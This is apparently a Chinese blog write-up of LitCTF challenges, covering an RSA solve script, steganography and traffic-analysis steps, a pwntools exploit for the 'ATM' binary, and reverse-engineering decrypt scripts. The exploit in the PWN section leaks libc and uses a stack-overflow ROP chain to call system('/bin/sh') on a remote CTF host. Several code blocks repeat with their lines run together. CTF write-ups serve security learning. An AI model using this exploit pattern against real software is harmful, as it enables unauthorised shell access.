# 导入必要的库<br>from Cryptodome.Util.number import long_to_bytes, inverse<br>from sympy import symbols, solve<br><br># 给定的多项式方程的常数项<br>Polynomial1 = 58154360680755769340954893572401748667033313354117942223258370092578635555451803701875246040822675770820625484823955325325376503299610647282074512182673844099014723538935840345806279326671621834884174315042653272845859393720044076731894387316020043030549656441366838837625687203481896972821231596403741150142<br>Polynomial2 = 171692903673150731426296312524549271861303258108708311216496913475394189393793697817800098242049692305164782587880637516028827647505093628717337292578359337044168928317124830023051015272429945829345733688929892412065424786481363731277240073380880692592385413767327833405744609781605297684139130460468105300760<br>Polynomial3 = 97986346322515909710602796387982657630408165005623501811821116195049269186902123564611531712164389221482586560334051304898550068155631792198375385506099765648724724155022839470830188199666501947166597094066238209936082936786792764398576045555400742489416583987159603174056183635543796238419852007348207068832<br><br># 加密消息<br>c = 690029769225186609779381701643778761457138553080920444396078012690121613426213828722870549564971078807093600149349998980667982840018011505754141625901220546541212773327617562979660059608220851878701195162259632365509731746682263484332327620436394912873346114451271145412882158989824703847237437871480757404551113620810392782422053869083938928788602100916785471462523020232714027448069442708638323048761035121752395570167604059421559260760645061567883338223699900<br><br># 求解多项式方程,得到 p, q, r 的值<br>p, q, r = symbols('p q r', integer=True) # 定义符号 p, q, r 为整数<br>eq1 = p**2 + q - Polynomial1 # 定义第一个多项式方程<br>eq2 = q**2 + r - Polynomial2 # 定义第二个多项式方程<br>eq3 = r**2 + p - Polynomial3 # 定义第三个多项式方程<br>solutions = solve((eq1, eq2, eq3), (p, q, r)) # 求解方程组,得到 p, q, r 的解<br><br># 选择合适的解<br>for solution in solutions:<br> p = int(solution[0])<br> q = int(solution[1])<br> r = int(solution[2])<br> if p*q*r < c: # 验证解的正确性<br> break<br><br># 计算模数 n 和欧拉函数 φ(n)<br>n = p * q * r # 计算模数 n<br>phi = (p-1)*(q-1)*(r-1) # 计算欧拉函数 φ(n)<br><br># 设置公钥指数和计算私钥<br>e = 65537 # 一般情况下,公钥指数 e 默认为 65537<br>d = inverse(e, phi) # 计算私钥 d<br><br># 使用私钥解密密文<br>m = pow(c, d, n) # 使用 d 解密加密消息 c,得到原始消息 m<br><br># 将解密后的长整数转换为字节数据<br>flag = long_to_bytes(m)<br><br># 处理并输出解密后的消息<br># 方法1:尝试使用 ISO-8859-1 编码解码<br>try:<br> print("Flag (ISO-8859-1):", flag.decode('ISO-8859-1'))<br>except UnicodeDecodeError as e:<br> print("Unicode Decode Error (ISO-8859-1):", e)<br><br># 方法2:输出原始字节数据<br>print("Flag (raw bytes):", flag)<br><br># 方法3:忽略错误并尝试使用 UTF-8 编码解码<br>try:<br> print("Flag (UTF-8, ignore errors):", flag.decode('utf-8', errors='ignore'))<br>except UnicodeDecodeError as e:<br> print("Unicode Decode Error (UTF-8):", e)# 导入必要的库<br>from Cryptodome.Util.number import long_to_bytes, inverse<br>from sympy import symbols, solve<br><br># 给定的多项式方程的常数项<br>Polynomial1 = 58154360680755769340954893572401748667033313354117942223258370092578635555451803701875246040822675770820625484823955325325376503299610647282074512182673844099014723538935840345806279326671621834884174315042653272845859393720044076731894387316020043030549656441366838837625687203481896972821231596403741150142<br>Polynomial2 = 171692903673150731426296312524549271861303258108708311216496913475394189393793697817800098242049692305164782587880637516028827647505093628717337292578359337044168928317124830023051015272429945829345733688929892412065424786481363731277240073380880692592385413767327833405744609781605297684139130460468105300760<br>Polynomial3 = 97986346322515909710602796387982657630408165005623501811821116195049269186902123564611531712164389221482586560334051304898550068155631792198375385506099765648724724155022839470830188199666501947166597094066238209936082936786792764398576045555400742489416583987159603174056183635543796238419852007348207068832<br><br># 加密消息<br>c = 690029769225186609779381701643778761457138553080920444396078012690121613426213828722870549564971078807093600149349998980667982840018011505754141625901220546541212773327617562979660059608220851878701195162259632365509731746682263484332327620436394912873346114451271145412882158989824703847237437871480757404551113620810392782422053869083938928788602100916785471462523020232714027448069442708638323048761035121752395570167604059421559260760645061567883338223699900<br><br># 求解多项式方程,得到 p, q, r 的值<br>p, q, r = symbols('p q r', integer=True) # 定义符号 p, q, r 为整数<br>eq1 = p**2 + q - Polynomial1 # 定义第一个多项式方程<br>eq2 = q**2 + r - Polynomial2 # 定义第二个多项式方程<br>eq3 = r**2 + p - Polynomial3 # 定义第三个多项式方程<br>solutions = solve((eq1, eq2, eq3), (p, q, r)) # 求解方程组,得到 p, q, r 的解<br><br># 选择合适的解<br>for solution in solutions:<br> p = int(solution[0])<br> q = int(solution[1])<br> r = int(solution[2])<br> if p*q*r < c: # 验证解的正确性<br> break<br><br># 计算模数 n 和欧拉函数 φ(n)<br>n = p * q * r # 计算模数 n<br>phi = (p-1)*(q-1)*(r-1) # 计算欧拉函数 φ(n)<br><br># 设置公钥指数和计算私钥<br>e = 65537 # 一般情况下,公钥指数 e 默认为 65537<br>d = inverse(e, phi) # 计算私钥 d<br><br># 使用私钥解密密文<br>m = pow(c, d, n) # 使用 d 解密加密消息 c,得到原始消息 m<br><br># 将解密后的长整数转换为字节数据<br>flag = long_to_bytes(m)<br><br># 处理并输出解密后的消息<br># 方法1:尝试使用 ISO-8859-1 编码解码<br>try:<br> print("Flag (ISO-8859-1):", flag.decode('ISO-8859-1'))<br>except UnicodeDecodeError as e:<br> print("Unicode Decode Error (ISO-8859-1):", e)<br><br># 方法2:输出原始字节数据<br>print("Flag (raw bytes):", flag)<br><br># 方法3:忽略错误并尝试使用 UTF-8 编码解码<br>try:<br> print("Flag (UTF-8, ignore errors):", flag.decode('utf-8', errors='ignore'))<br>except UnicodeDecodeError as e:<br> print("Unicode Decode Error (UTF-8):", e)# 导入必要的库
from Cryptodome.Util.number import long_to_bytes, inverse
from sympy import symbols, solve
# 给定的多项式方程的常数项
Polynomial1 = 58154360680755769340954893572401748667033313354117942223258370092578635555451803701875246040822675770820625484823955325325376503299610647282074512182673844099014723538935840345806279326671621834884174315042653272845859393720044076731894387316020043030549656441366838837625687203481896972821231596403741150142
Polynomial2 = 171692903673150731426296312524549271861303258108708311216496913475394189393793697817800098242049692305164782587880637516028827647505093628717337292578359337044168928317124830023051015272429945829345733688929892412065424786481363731277240073380880692592385413767327833405744609781605297684139130460468105300760
Polynomial3 = 97986346322515909710602796387982657630408165005623501811821116195049269186902123564611531712164389221482586560334051304898550068155631792198375385506099765648724724155022839470830188199666501947166597094066238209936082936786792764398576045555400742489416583987159603174056183635543796238419852007348207068832
# 加密消息
c = 690029769225186609779381701643778761457138553080920444396078012690121613426213828722870549564971078807093600149349998980667982840018011505754141625901220546541212773327617562979660059608220851878701195162259632365509731746682263484332327620436394912873346114451271145412882158989824703847237437871480757404551113620810392782422053869083938928788602100916785471462523020232714027448069442708638323048761035121752395570167604059421559260760645061567883338223699900
# 求解多项式方程,得到 p, q, r 的值
p, q, r = symbols('p q r', integer=True) # 定义符号 p, q, r 为整数
eq1 = p**2 + q - Polynomial1 # 定义第一个多项式方程
eq2 = q**2 + r - Polynomial2 # 定义第二个多项式方程
eq3 = r**2 + p - Polynomial3 # 定义第三个多项式方程
solutions = solve((eq1, eq2, eq3), (p, q, r)) # 求解方程组,得到 p, q, r 的解
# 选择合适的解
for solution in solutions:
p = int(solution[0])
q = int(solution[1])
r = int(solution[2])
if p*q*r < c: # 验证解的正确性
break
# 计算模数 n 和欧拉函数 φ(n)
n = p * q * r # 计算模数 n
phi = (p-1)*(q-1)*(r-1) # 计算欧拉函数 φ(n)
# 设置公钥指数和计算私钥
e = 65537 # 一般情况下,公钥指数 e 默认为 65537
d = inverse(e, phi) # 计算私钥 d
# 使用私钥解密密文
m = pow(c, d, n) # 使用 d 解密加密消息 c,得到原始消息 m
# 将解密后的长整数转换为字节数据
flag = long_to_bytes(m)
# 处理并输出解密后的消息
# 方法1:尝试使用 ISO-8859-1 编码解码
try:
print("Flag (ISO-8859-1):", flag.decode('ISO-8859-1'))
except UnicodeDecodeError as e:
print("Unicode Decode Error (ISO-8859-1):", e)
# 方法2:输出原始字节数据
print("Flag (raw bytes):", flag)
# 方法3:忽略错误并尝试使用 UTF-8 编码解码
try:
print("Flag (UTF-8, ignore errors):", flag.decode('utf-8', errors='ignore'))
except UnicodeDecodeError as e:
print("Unicode Decode Error (UTF-8):", e)
得到flag
->Misc方向
涐贪恋和伱、甾―⑺dé毎兮毎秒
下载附件,看到图片,使用Stegsolve打开,提取LSB最低有效位
![图片[34],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602030424496.png?imageView2/0/format/webp/q/75)
看到flag,可以使用 Save Bin保存到txt里面,然后打开
![图片[35],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602030457185.png?imageView2/0/format/webp/q/75)
你说得对,但__
下载附件解压里面有一个png文件,使用Binwalk分离,得到四张图片,分别是二维码的四个部分
![图片[36],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602030610114.png?imageView2/0/format/webp/q/75)
![图片[37],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602030638172.png?imageView2/0/format/webp/q/75)
经过PS的拼接,得到完整的二维码
![图片[38],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602030658504.png?imageView2/0/format/webp/q/75)
扫描二维码,得到flag
LitCTF{Genshin_St@rt!!}
盯帧珍珠
在虚拟机里 用file命令发现是gif图片,改后缀为.gif
puzzlesolver分帧
![图片[39],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602032745952.png?imageView2/0/format/webp/q/75)
逐个查看得到flag
![图片[40],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602032757639.png?imageView2/0/format/webp/q/75)
原铁启动
![图片[41],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602032854459.png?imageView2/0/format/webp/q/75)
网上找文章发现
![图片[42],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602032903171.png?imageView2/0/format/webp/q/75)
flag{good_
后半段是另一种密文
![图片[43],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602032915823.png?imageView2/0/format/webp/q/75)
gamer}
拼到一起得到flag
The love
把图片托进010
![图片[44],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602033014303.png?imageView2/0/format/webp/q/75)
尾部发现Lit字样 还有一个压缩包
![图片[45],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602033021141.png?imageView2/0/format/webp/q/75)
分离出来,发现要密码 进行掩码攻击
![图片[46],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602033033601.png?imageView2/0/format/webp/q/75)
得到一个flag.txt是fake
![图片[47],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602033042838.png?imageView2/0/format/webp/q/75)
password.txt进行base64解码两次
![图片[48],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602033052745.png?imageView2/0/format/webp/q/75)
再看音频
![图片[49],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602033107167.png?imageView2/0/format/webp/q/75)
deepsound输入刚刚的base64结果 得到flag文件
![图片[50],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602033117701.png?imageView2/0/format/webp/q/75)
Everywhere We Go
下载附件打开,有一段mp3的音频,使用Audacity打开查看频谱,放大时间轴,即可看到flag
![图片[51],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602030756411.png?imageView2/0/format/webp/q/75)
![图片[52],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602030811407.png?imageView2/0/format/webp/q/75)
关键,太关键了!
下载附件,查看到两个文件,打开key.txt,根据提示想到字频统计
使用PuzzleSolver工具字频统计(也可以用在线网站或者其他工具)
![图片[53],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602030927877.png?imageView2/0/format/webp/q/75)
猜测bingo即是一个密码,在flag.txt中,有一段类似flag 的字符串,使用随波逐流工具加上密码bingo,即可爆出flag
![图片[54],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602030953290.png?imageView2/0/format/webp/q/75)
发现是Keyword密码,替换为小写并且更换为LitCTF{}包裹即可提交
舔到最后应有尽有
![图片[55],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602032437327.png?imageView2/0/format/webp/q/75)
打开文件怀疑是base64隐写,puzzleSolver一把梭
![图片[56],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602032451548.png?imageView2/0/format/webp/q/75)
女装照流量
![图片[57],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602032509650.png?imageView2/0/format/webp/q/75)
逐个流量分析,发现传马了
![图片[58],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602032519288.png?imageView2/0/format/webp/q/75)
发现是蚁剑流量
先导出所有http对象,保存起来,发现ma(19).php有pk字样,放到010里 删除第一个pk起那面的字符.然后保存为zip后缀
接着分析流量
先url解码
进行base64解码时发现不对,仔细观察代码发现
![图片[59],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602032531402.png?imageView2/0/format/webp/q/75)
红框里面的代码时重第三个字符开始,我们要把前2个字符给删掉,然后进行base64 找到关键代码.
![图片[60],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602032542562.png?imageView2/0/format/webp/q/75)
压缩包密码是PaSsw0rd_LitCtF_L0vely_tanJi 解开压缩包
![图片[61],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602032552681.png?imageView2/0/format/webp/q/75)
->PWN方向
ATM
![图片[62],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602032221790.png?imageView2/0/format/webp/q/75)
![图片[63],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602032226693.png?imageView2/0/format/webp/q/75)
在case3中有代码逻辑错误,因为nbyte是个字符串类型,不管输入多少,nbtyes相加的值的都是nptr的地址 低4字节,这里可以通过控制case3的次数,从而使的nbyte即余额变得很大
![图片[64],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602032315802.png?imageView2/0/format/webp/q/75)
在case5处泄露了libc地址,并且读入nbytes字节的值,会造成栈溢出,覆盖返回地址,调用libc中system函 数拿到shell
![图片[65],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602032325537.png?imageView2/0/format/webp/q/75)
脚本如下:
from pwn import *from LibcSearcher import *#io=process('./app') #io=remote("node3.anna.nssctf.cn","28377")io=remote("node1.anna.nssctf.cn",28654) io.recvuntil(b'password:') io.sendline(b'1')for i in range(10):io.recvuntil(b'4.Exit')io.sendline(b'3')io.recvuntil(b'deposit:')io.sendline(b'1')io.recvuntil(b'4.Exit')io.sendline(b'1')io.recvuntil(b'Your balance is:')n=int(io.recvuntil(b'$')[:-1])print(n)if n > 0:breakio.recvuntil(b'4.Exit')io.sendline(b'5')io.recvuntil(b'0x')leak=int(io.recv(12),16)print(hex(leak))libc=LibcSearcher('printf',leak)libc_base=leak-libc.dump('printf') system=libc.dump('system')+libc_base bin_sh=libc.dump('str_bin_sh')+libc_basepop_rdi=0x00401233 #: pop rdi ; reret=0x40147D payload=b'a'*0x168+p64(pop_rdi)+p64(bin_sh)+p64(ret)+p64(system) #gdb.attach(io)io.sendline(payload)io.sendline(b'4')io.interactive()from pwn import * from LibcSearcher import * #io=process('./app') #io=remote("node3.anna.nssctf.cn","28377") io=remote("node1.anna.nssctf.cn",28654) io.recvuntil(b'password:') io.sendline(b'1') for i in range(10): io.recvuntil(b'4.Exit') io.sendline(b'3') io.recvuntil(b'deposit:') io.sendline(b'1') io.recvuntil(b'4.Exit') io.sendline(b'1') io.recvuntil(b'Your balance is:') n=int(io.recvuntil(b'$')[:-1]) print(n) if n > 0: break io.recvuntil(b'4.Exit') io.sendline(b'5') io.recvuntil(b'0x') leak=int(io.recv(12),16) print(hex(leak)) libc=LibcSearcher('printf',leak) libc_base=leak-libc.dump('printf') system=libc.dump('system')+libc_base bin_sh=libc.dump('str_bin_sh')+libc_base pop_rdi=0x00401233 #: pop rdi ; re ret=0x40147D payload=b'a'*0x168+p64(pop_rdi)+p64(bin_sh)+p64(ret)+p64(system) #gdb.attach(io) io.sendline(payload) io.sendline(b'4') io.interactive()from pwn import * from LibcSearcher import * #io=process('./app') #io=remote("node3.anna.nssctf.cn","28377") io=remote("node1.anna.nssctf.cn",28654) io.recvuntil(b'password:') io.sendline(b'1') for i in range(10): io.recvuntil(b'4.Exit') io.sendline(b'3') io.recvuntil(b'deposit:') io.sendline(b'1') io.recvuntil(b'4.Exit') io.sendline(b'1') io.recvuntil(b'Your balance is:') n=int(io.recvuntil(b'$')[:-1]) print(n) if n > 0: break io.recvuntil(b'4.Exit') io.sendline(b'5') io.recvuntil(b'0x') leak=int(io.recv(12),16) print(hex(leak)) libc=LibcSearcher('printf',leak) libc_base=leak-libc.dump('printf') system=libc.dump('system')+libc_base bin_sh=libc.dump('str_bin_sh')+libc_base pop_rdi=0x00401233 #: pop rdi ; re ret=0x40147D payload=b'a'*0x168+p64(pop_rdi)+p64(bin_sh)+p64(ret)+p64(system) #gdb.attach(io) io.sendline(payload) io.sendline(b'4') io.interactive()
->REVERSE方向
编码喵
![图片[66],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602031616231.png?imageView2/0/format/webp/q/75)
c++的逆向
![图片[67],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602031629924.png?imageView2/0/format/webp/q/75)
![图片[68],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602031636580.png?imageView2/0/format/webp/q/75)
换表base64,直接解密即可
![图片[69],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602031653488.png?imageView2/0/format/webp/q/75)
ezrc4
![图片[70],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602031712537.png?imageView2/0/format/webp/q/75)
初始化s盒
![图片[71],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602031721451.png?imageView2/0/format/webp/q/75)
rc4加密
![图片[72],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602031732843.png?imageView2/0/format/webp/q/75)
最后与buf处数据进行比较
![图片[73],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602031741557.png?imageView2/0/format/webp/q/75)
这里fenkey解密出来的是乱码
![图片[74],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602031751465.png?imageView2/0/format/webp/q/75)
发现有函数对key进行了异或操作,写个脚本异或回来
key='fenkey?'key1=[0x0a,0x0c,0x1a,0x8,0x11,0x1f,0x1e,0x0] ret=""for i in range(len(key)):a=ord(key[i])a^=key1[i]ret+=chr(a)print(ret)key='fenkey?' key1=[0x0a,0x0c,0x1a,0x8,0x11,0x1f,0x1e,0x0] ret="" for i in range(len(key)): a=ord(key[i]) a^=key1[i] ret+=chr(a) print(ret)key='fenkey?' key1=[0x0a,0x0c,0x1a,0x8,0x11,0x1f,0x1e,0x0] ret="" for i in range(len(key)): a=ord(key[i]) a^=key1[i] ret+=chr(a) print(ret)
得到真正的key
![图片[75],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602031820853.png?imageView2/0/format/webp/q/75)
最后rc4解密即可拿到flag
![图片[76],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602031829204.png?imageView2/0/format/webp/q/75)
hello_upx
查壳存在upx
![图片[77],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602031847315.png?imageView2/0/format/webp/q/75)
直接用upx脱壳失败
![图片[78],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602031857697.png?imageView2/0/format/webp/q/75)
用010查看一下文件
发现upx标志位被修改了
![图片[79],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602031906550.png?imageView2/0/format/webp/q/75)
修改回来再进行脱壳
![图片[80],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602031915967.png?imageView2/0/format/webp/q/75)
![图片[81],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602031919576.png?imageView2/0/format/webp/q/75)
ida打开,发现对flag ascii值进行了加减操作,修改回来即可
![图片[82],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602031932206.png?imageView2/0/format/webp/q/75)
解密脚本
enc=[0x4C, 0x68, 0x72, 0x40, 0x50, 0x41, 0x75, 0x70,0x2B, 0x63, 0x59, 0x25, 0x61, 0x58, 0x51, 0x65, 0x20, 0x4E, 0x5A, 0x1E, 0x60, 0x4E, 0x5E, 0x4F,101]flag=''for i in range(len(enc)):flag+=chr(enc[i]+i)print(flag)enc=[ 0x4C, 0x68, 0x72, 0x40, 0x50, 0x41, 0x75, 0x70,0x2B, 0x63, 0x59, 0x25, 0x61, 0x58, 0x51, 0x65, 0x20, 0x4E, 0x5A, 0x1E, 0x60, 0x4E, 0x5E, 0x4F,101] flag='' for i in range(len(enc)): flag+=chr(enc[i]+i) print(flag)enc=[ 0x4C, 0x68, 0x72, 0x40, 0x50, 0x41, 0x75, 0x70,0x2B, 0x63, 0x59, 0x25, 0x61, 0x58, 0x51, 0x65, 0x20, 0x4E, 0x5A, 0x1E, 0x60, 0x4E, 0x5E, 0x4F,101] flag='' for i in range(len(enc)): flag+=chr(enc[i]+i) print(flag)
![图片[83],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602031951197.png?imageView2/0/format/webp/q/75)
ez_python
python打包的exe文件
![图片[84],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602032011632.png?imageView2/0/format/webp/q/75)
用pyinstxtractor脚本提取出来 https://github.com/extremecoders-re/pyinstxtractor
![图片[85],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602032020644.png?imageView2/0/format/webp/q/75)
注意这里文件是python3.11,也要把自己python环境切换到python11不然不会提取库文件 得到pyc文件
反编译成python代码
![图片[86],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602032041708.png?imageView2/0/format/webp/q/75)
#!/usr/bin/env python# visit https://tool.lu/pyc/ for more information# Version: Python 3.11import Litctfbase64flag = input('flag:')flag = Litctfbase64.b64decode(flag)if flag == 'X=3o4hx=0EZwf=mMv13gX=3o4hx=qje2ZjtgZQmEKXZog4==':print('win')return Noneprint('no')#!/usr/bin/env python # visit https://tool.lu/pyc/ for more information # Version: Python 3.11 import Litctfbase64 flag = input('flag:') flag = Litctfbase64.b64decode(flag) if flag == 'X=3o4hx=0EZwf=mMv13gX=3o4hx=qje2ZjtgZQmEKXZog4==': print('win') return None print('no')#!/usr/bin/env python # visit https://tool.lu/pyc/ for more information # Version: Python 3.11 import Litctfbase64 flag = input('flag:') flag = Litctfbase64.b64decode(flag) if flag == 'X=3o4hx=0EZwf=mMv13gX=3o4hx=qje2ZjtgZQmEKXZog4==': print('win') return None print('no')
导入了自定义库,这个库在这个文件夹里
![图片[87],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602032101367.png?imageView2/0/format/webp/q/75)
![图片[88],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602032107157.png?imageView2/0/format/webp/q/75)
![图片[89],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602032113932.png?imageView2/0/format/webp/q/75)
换表base64
![图片[90],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网](https://img.godyu.com/2024/06/20240602032132249.png?imageView2/0/format/webp/q/75)
暂无评论内容